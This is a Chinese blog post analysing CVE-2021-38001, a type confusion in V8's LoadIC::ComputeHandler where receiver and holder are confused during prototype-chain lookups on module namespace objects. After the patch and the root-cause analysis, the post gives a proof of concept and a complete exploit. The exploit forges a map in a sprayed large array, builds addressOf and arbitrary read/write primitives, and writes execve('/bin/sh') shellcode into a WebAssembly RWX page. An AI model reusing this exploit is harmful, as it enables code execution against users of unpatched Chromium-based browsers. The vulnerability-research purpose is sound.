CVE-2021-38001:TianfuCup RCE bug Type confusion in LoadIC::ComputeHandler

前言

该漏洞在似乎在 bugs.chromium 上没有公开?笔者并没有找到相关漏洞描述,所以这里更多参考了别人的分析。

本文需要一定的 ICs 相关知识,请读者自行先查阅学习,比较简单,就不再赘述了,本文的主要关注点在于漏洞的分析与利用。

环境搭建

官方 patch 如下:

diff --git a/src/ic/accessor-assembler.cc b/src/ic/accessor-assembler.cc
index 0989c61..10c8388 100644
--- a/src/ic/accessor-assembler.cc
+++ b/src/ic/accessor-assembler.cc
@@ -836,8 +836,8 @@
     Comment("module export");
     TNode<UintPtrT> index =
         DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);
-    TNode<Module> module = LoadObjectField<Module>(
-        CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
+    TNode<Module> module =
+        LoadObjectField<Module>(CAST(holder), JSModuleNamespace::kModuleOffset);
     TNode<ObjectHashTable> exports =
         LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);
     TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));
diff --git a/src/ic/ic.cc b/src/ic/ic.cc
index c2926e5..58c75a5 100644
--- a/src/ic/ic.cc
+++ b/src/ic/ic.cc
@@ -996,7 +996,13 @@
         // We found the accessor, so the entry must exist.
         DCHECK(entry.is_found());
         int value_index = ObjectHashTable::EntryToValueIndex(entry);
-        return LoadHandler::LoadModuleExport(isolate(), value_index);
+        Handle<Smi> smi_handler =
+            LoadHandler::LoadModuleExport(isolate(), value_index);
+        if (holder_is_lookup_start_object) {
+          return smi_handler;
+        }
+        return LoadHandler::LoadFromPrototype(isolate(), map, holder,
+                                              smi_handler);
       }
 
       Handle<Object> accessors = lookup->GetAccessors();

这里拉取源码后手动引入漏洞即可:

git checkout b5fa92428c9d4516ebdc72643ea980d8bde8f987
sudo apt install python
gclient sync -D
// 手动引入漏洞
// 其中 args.gn 内容如下,一些内容是手动添加的,主要是为了方便调试
dcheck_always_on = false
is_debug = false
target_cpu = "x64"

symbol_level=2
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

漏洞分析

两个补丁分别打在了 AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCaseLoadIC::ComputeHandler 中。在 LoadIC::ComputeHandler 中的补丁主要针对于计算 holderJSModuleNamespace 时的 handler

         DCHECK(entry.is_found());
         int value_index = ObjectHashTable::EntryToValueIndex(entry);
-        return LoadHandler::LoadModuleExport(isolate(), value_index);
+        Handle<Smi> smi_handler =
+            LoadHandler::LoadModuleExport(isolate(), value_index);
+        if (holder_is_lookup_start_object) {
+          return smi_handler;
+        }
+        return LoadHandler::LoadFromPrototype(isolate(), map, holder,
+                                              smi_handler);
       }

在原来的代码中,是直接返回 LoadHandler::LoadModuleExport(isolate(), value_index),但是在补丁代码中,会检查 holder 是否是 lookup_start_object即确定起始对象是否与当前查找操作的接收者对象相同,如果是则直接返回,不是则调用 LoadFromPrototype 从原型链上加载。

我们先来看下 AccessorAssembler::HandleLoadICSmiHandlerLoadNamedCase 中的补丁,先看下调用链:

Many Load ICs Functions
AccessorAssembler::HandleLoadICHandlerCase
	AccessorAssembler::HandleLoadICSmiHandlerCase

AccessorAssembler::HandleLoadICSmiHandlerCase 中补丁关键上下文:

......
  BIND(&module_export);
  {
    Comment("module export");
    // 对 handler 进行解密(解码)得到 index,这里的 index 是属性的编号
    TNode<UintPtrT> index = DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);
    // 获取 module [SourceTextModule]
    // 注意:这里是直接将 receiver 强转成的 JSModuleNamespace 类型
    // 注意 receiver 于 holder 的区别
    TNode<Module> module = 
    		LoadObjectField<Module>(CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
//    TNode<Module> module =
//        LoadObjectField<Module>(CAST(holder), JSModuleNamespace::kModuleOffset);
	// 获取 exports [ObjectHashTable]
    TNode<ObjectHashTable> exports =
        LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);
    // 获取对于属性的 cell [Cell]
    TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));
    // The handler is only installed for exports that exist.
    // 从 cell 中获取属性值 value
    TNode<Object> value = LoadCellValue(cell);
    Label is_the_hole(this, Label::kDeferred);
    // 判断值是否是 teh_hole,防止泄漏 the_hole
    GotoIf(IsTheHole(value), &is_the_hole);
    // 如果不是 the_hole 则返回
    exit_point->Return(value);

    BIND(&is_the_hole);
    {
      // 是 the_hole 则抛出异常
      TNode<Smi> message = SmiConstant(MessageTemplate::kNotDefined);
      exit_point->ReturnCallRuntime(Runtime::kThrowReferenceError, p->context(),
                                    message, p->name());
    }
  }
......

上述逻辑主要功能就是将 recevier 当作 JSModuleNamespace,然后获取对应的属性值。问题的关键是:recviver 不一定就是 holder

这里就得来看看导入模块对象的内存布局了,考虑如下代码:

// 1.mjs
export let x = {};
export let y = {test:1};
export let z = {};

// demo.mjs
import * as exmodule from "1.mjs";
%DebugPrint(exmodule);
%SystemBreak();

来看看 exmodule 的内存结构以及属性 x/y/z 的存储位置,首先 exmodule 是一个 JSModuleNamespace 类型的对象,其中存在一个 module 字段::
在这里插入图片描述
module 存在一个 exports 字段:
在这里插入图片描述
exports 包含了一些 Cell,每一个 Cell 对应一个属性:
在这里插入图片描述
Cell 中的 value 就是属性值
在这里插入图片描述

关于上述代码中的对 handler 解码得到属性 index 可能读者会疑惑,这里来简单看下 JSModuleNamespace 属性加载 ICs 中的 handler 是如何计算出来的:

Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
  Handle<Object> receiver = lookup->GetReceiver();
  ReadOnlyRoots roots(isolate());
  // 原型链上的第一个对象
  Handle<Object> lookup_start_object = lookup->lookup_start_object();
......
  Handle<Map> map = lookup_start_object_map();
  bool holder_is_lookup_start_object =
      lookup_start_object.is_identical_to(lookup->GetHolder<JSReceiver>());
  // 不同的类型状态计算 handler
  switch (lookup->state()) {
    case LookupIterator::INTERCEPTOR: {
    ......
    }
	// 对应 Load 类型的操作,一般会进入 ACCESSOR 分支
    case LookupIterator::ACCESSOR: {
      // 获取 holder,这里的 holder 指的是正在被处理的对象
      Handle<JSObject> holder = lookup->GetHolder<JSObject>();
      // Use simple field loads for some well-known callback properties.
      // The method will only return true for absolute truths based on the
      // lookup start object maps.
      FieldIndex index;
      if (Accessors::IsJSObjectFieldAccessor(isolate(), map, lookup->name(), &index)) {
        TRACE_HANDLER_STATS(isolate(), LoadIC_LoadFieldDH);
        return LoadHandler::LoadField(isolate(), index);
      }
      // 处理的是 JSModuleNamespace 类型
      if (holder->IsJSModuleNamespace()) {
        // 获取 exports 字段
        Handle<ObjectHashTable> exports(
            Handle<JSModuleNamespace>::cast(holder)->module().exports(), isolate());
        // 寻找对应属性的 entry
        InternalIndex entry =
            exports->FindEntry(isolate(), roots, lookup->name(), Smi::ToInt(lookup->name()->GetHash()));
        // We found the accessor, so the entry must exist.
        DCHECK(entry.is_found());
        // 计算要获取的属性在哈希表中的索引
        int index = ObjectHashTable::EntryToValueIndex(entry);
        // 返回 LoadModuleExport handler 函数
		return LoadHandler::LoadModuleExport(isolate(), index);
//        Handle<Smi> smi_handler =
//            LoadHandler::LoadModuleExport(isolate(), index);
//        if (holder_is_lookup_start_object) {
//          return smi_handler;
//        }
//        return LoadHandler::LoadFromPrototype(isolate(), map, holder,
//                                              smi_handler);
      }
......


Handle<Smi> LoadHandler::LoadModuleExport(Isolate* isolate, int index) {
  int config =
      KindBits::encode(kModuleExport) | ExportsIndexBits::encode(index);
  return handle(Smi::FromInt(config), isolate);
}

可以看到这里的 handler 就是对 index 进行了加密(这里 kModuleExport 是一个固定的枚举值,表示类型,由于其是固定的,所以这里可以直接看成是对 index 的加密)所以上面直接进行解密获取 index 的原理应该是没问题了。但是这里存在一些问题,在补丁代码中可以看到其检查了 holder_is_lookup_start_object,即只有 holderreceiver 才直接返回 smi_handler,否则调用 LoadFromPrototype

如果读者还是很迷,建议看看 ICs 相关源码

然后回到漏洞代码处,在上面我们看到了这里是直接将 receiver 当作了 holderreceiver 代表的是发生属性访问时,发起并接收结果的对象;而 holder 代表的是正在被查询的对象。所以这里的漏洞就是认为 receiverholder 是一样的,而我们知道属性查询是沿着原型链进行的,所以这里 receiverholder 不一定是一样的,比如:

A->B 表示BA的原型
var a = new A();
a.x; ==>1】先在 a 对象上查找 x 属性:receiver = a, holder = a
	【2】没有在 a 对象上找到 x 属性,则沿着原型链查找 B 对象:reveiver = a, holder = B

然后这里在【2】中会发生类型混淆

接下来就是去写 POC 了,我看网上的 POC 都是通过 super 来触发的,但是仔细分析了该漏洞产生的原因你会发现,这个触发的方式有很多,因为其本质就是在查询原型链的过程中没有区分 receiverholder,下面是我自己写的 POC

// 1.mjs
//export let x = {};
//export let y = {test:1};
//export let z = {};

// poc.mjs
import * as exmodule from "1.mjs";
function poc(obj) {
        return obj.y;
}

function trigger() {

        let target = {};
        target.__proto__ = exmodule;

        target.x0 = 0x40404040 / 2;
        target.x1 = 0x42424242 / 2;
        target.x2 = 0x44444444 / 2;
        target.x3 = 0x46464646 / 2;
        target.x4 = 0x48484848 / 2;

        let res = poc(target);
        return res;
}

for (let i = 0; i < 11; i++) {
        trigger();
}

调试一下:
在这里插入图片描述
程序在这里崩溃了,然后可以看到这里应该内存访问错误,因为 r11 = 0x240040404040 是一个没有访问权限的地址,而且这里你仔细观察你会发现 r11 的低 4 字节为 0x40404040,这不就是 target.x0 的值吗?是巧合吗?多测一下就会发现不是巧合。而这里的 r11 是通过上面的 mov r11d, DWORD PTR [rbx+0xb] 获取的,这里的 rbx 指向的就是 target 对象:
在这里插入图片描述
结合上面的漏洞分析,很明显这里发生了类型混淆,这里是把 target 当作了 exmodule 了。

而在上面的代码分析中我们知道从 exmodule [JSModuleNamespace] -> module -> exports -> Cell -> value 是不存在任何检查的,所以我们可以通过控制 target.x0 从而伪造一个 JSModuleNamespace 对象,然后伪造 module -> exports -> Cell -> value 去伪造一个任意地址、任意类型(前提得伪造 map)的对象

但是在笔者伪造的过程中,因为在 V8 中存在指针标记,所以对象地址的 LSB = 1,所以这里的偏移总是要减一,因此这里伪造时,字段偏移搞的笔者非常烦

后面看到了一个比较好的方案,经过调试这里的字段偏移如下:

exmodule -> exports 0x4
exports  -> cell    0x20
cell     -> value   0x4

这里直接看结果吧,考虑如下代码:

import * as exmodule from "1.mjs";
var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}
let obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
        obj_prop_ut_fake['x' + i] = pair_u32_to_f64(0x42424242, 0);
}
%DebugPrint(obj_prop_ut_fake);
%SystemBreak();

调试:
在这里插入图片描述
nice 完美匹配,当然你可能会好奇为啥呢?很简单 JSObject + 4 就是 peroperty,而我们可以在 peroperty 中布置大量的 heap_number,这样 peroperty + 0x20 也就是一个 heap_num 地址了,而非常 nice 的是 heap_number + 4 就是我们保存的值,所以我们通过修改 value 即可伪造对象:

真是佩服!!!

在这里插入图片描述

// 1.mjs
//export let x = {};
//export let y = {test:1};
//export let z = {};

// poc.mjs
import * as exmodule from "1.mjs";

var buf = new ArrayBuffer(8);
var u32 = new Uint32Array(buf);
var f64 = new Float64Array(buf);

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}

function poc(obj) {
        return obj.y;
}
let obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
        obj_prop_ut_fake['x' + i] = pair_u32_to_f64(0x42424242, 0);
}

function trigger() {
        let target = {};
        target.__proto__ = exmodule;
        target.x0 = obj_prop_ut_fake;
        let res = poc(target);
        return res;
}

let evil;
for (let i = 0; i < 11; i++) {
        evil = trigger();
}

%DebugPrint(evil);

最后输出如下:

DebugPrint: Smi: 0x21212121 (555819297)

可以看到这里成功输出 0x21212121,这里将 0x42424242 修改为伪造的对象地址即可

漏洞利用

在这里学到了一种新的利用方式:

  • 在存在指针压缩的 V8 版本中,可以通过分配大对象去获取一个地址固定的 element,而大对象在 gc 过程中是不会被移动的,所以在利用的过程中不管是否发生 gcelement 的地址都不会变,这使得我们的利用稳定性大大提高了
  • 在加载对象时,仅仅检查了 map 的类型内容,对于其指针内容并没有检查,所以我们可以在大对象中伪造一个 map,而大对象 element 是固定已知的,因此伪造的 map 地址也是固定已知的。这种方式的好处也是提高漏洞利用的稳定性,在之前的利用中,笔者通常是将 map 修改为其它对象的 map,但是其它对象的 map 地址老是改变(可能发生了内存整理等)

最后笔者写利用时还是采用的 super 触发,其实都无所谓,看你自己啦

export let x = {};
export let y = {test:1};
export let z = {};
// 1.mjs
//export let x = {};
//export let y = {test:1};
//export let z = {};

// exploit.mjs
import * as exmodule from "1.mjs";

function shellcode() {
        return [
                1.9553825422107533e-246,
                1.9560612558242147e-246,
                1.9995714719542577e-246,
                1.9533767332674093e-246,
                2.6348604765229606e-284
        ];
}

for (let i = 0; i < 0x10000; i++) {
        shellcode(); shellcode();
        shellcode(); shellcode();
}

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}

function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}

function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}

function set_u64(val) {
        u64[0] = val;
}

function set_l(l) {
        u32[0] = l;
}

function set_h(h) {
        u32[1] = h;
}

function get_u64() {
        return u64[0];
}

function get_f64() {
        return f64[0];
}

function get_fl(val) {
        f64[0] = val;
        return u32[0];
}

function get_fh(val) {
        f64[0] = val;
        return u32[1];
}

function add_ref(obj) {
        roots[index++] = obj;
}

function major_gc() {
        new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
        for (let i = 0; i < 8; i++) {
                add_ref(new ArrayBuffer(0x200000));
        }
        add_ref(new ArrayBuffer(8));
}

function hexx(str, val) {
        console.log(str+": 0x"+val.toString(16));
}


function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}

class C {
        m() {
                return super.y;
        }
}

// elements ==> 0x08482119
// data     ==> 0x08482120
// 0x1604040408002119
// 0x0a0007ff11000834
var spray_array = new Array(0xf700);
let data_start_addr = 0x08502119+7;
let map_addr = data_start_addr + 0x1000;
let fake_object_addr = map_addr + 0x1000;
let leak_element_start_addr = 0x08582119;
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);
spray_array[(map_addr        -data_start_addr) / 8] = u64_to_f64(0x1604040408002119n);
spray_array[(map_addr        -data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff11000834n);

var leak_object_array = new Array(0xf700).fill({});

//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);

let flag = 0;
let zz = {aa:1, bb:2};
let obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
        obj_prop_ut_fake['x' + i] = pair_u32_to_f64(fake_object_addr+1, 0);
}

//%DebugPrint(obj_prop_ut_fake);

function trigger() {

        C.prototype.__proto__ = zz;
        zz.__proto__ = exmodule;

        let c = new C();

        c.x0 = obj_prop_ut_fake;
        //c.x0 = 0x40404040 / 2;
        //c.x1 = 0x42424242 / 2;
        //c.x2 = 0x44444444 / 2;
        //c.x3 = 0x46464646 / 2;
        //c.x4 = 0x48484848 / 2;

        if (flag == 10) {
        //      %DebugPrint(c);
        //      %DebugPrint(spray_array);
        //      %DebugPrint(exmodule);
        //      %SystemBreak();
        }
        flag++;
        let res = c.m();
        return res;
}


let evil;
for (let i = 0; i < 11; i++) {
        evil = trigger();
}


function addressOf(obj) {
        leak_object_array[0] = obj;
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x8000);
        return get_fl(evil[0]);

}

function arb_read_cage(addr) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
        return f64_to_u64(evil[0]);
}

function arb_write_cage(addr, val) {
        let oirg_val = arb_read_cage(addr);
        evil[0] = pair_u32_to_f64(val, orig_val&0xffffffffn)

}

function arb_write(addr, val) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x8000);
        evil[0] = u64_to_f64(val)
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,
                                128,0,1,96,0,1,127,3,130,128,128,128,
                                0,1,0,4,132,128,128,128,0,1,112,0,0,5,
                                131,128,128,128,0,1,0,1,6,129,128,128,128,
                                0,0,7,145,128,128,128,0,2,6,109,101,109,111,
                                114,121,2,0,4,109,97,105,110,0,0,10,142,128,128,
                                128,0,1,136,128,128,128,0,0,65,239,253,182,245,125,11]);

var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
var pwn = wasm_instance.exports.main;

var sc = [
        0x2fbb485299583b6an,
        0x5368732f6e69622fn,
        0x050f5e5457525f54n
];


let wasm_instance_addr = addressOf(wasm_instance);
hexx("wasm_instance_addr", wasm_instance_addr);
let rwx_addr = arb_read_cage(wasm_instance_addr+0x60);
hexx("rwx_addr", rwx_addr);

var raw_buf = new ArrayBuffer(0x200);
var dv = new DataView(raw_buf);
let raw_buf_addr = addressOf(raw_buf);
hexx("raw_buf_addr", raw_buf_addr);
arb_write(raw_buf_addr+0x1c, rwx_addr);

for (let i = 0; i < sc.length; i++) {
        dv.setBigInt64(i*8, sc[i], true);
}

//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
//%DebugPrint(evil);
//%DebugPrint(shellcode);
//let shellcode_addr = addressOf(shellcode);
//%DebugPrint(leak_object_array);
//hexx("shellcode_addr", shellcode_addr);


pwn();
//%SystemBreak();

效果如下:
在这里插入图片描述

总结

本次漏洞分析,自己比较满意,最后也成功的靠自己写出了 POC(终于不是直接抄网上的 POC 了,呜呜呜),也成功的抓住了漏洞的本质:在原型链上查询属性时,没有正确区分 holderreceiver 导致的类型混淆。

然后还学习了一种利用方式:利用大对象提高稳定性

参考

cve-2021-38001-分析
[原创]零基础入门V8——CVE-2021-38001漏洞利用

  • 29
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值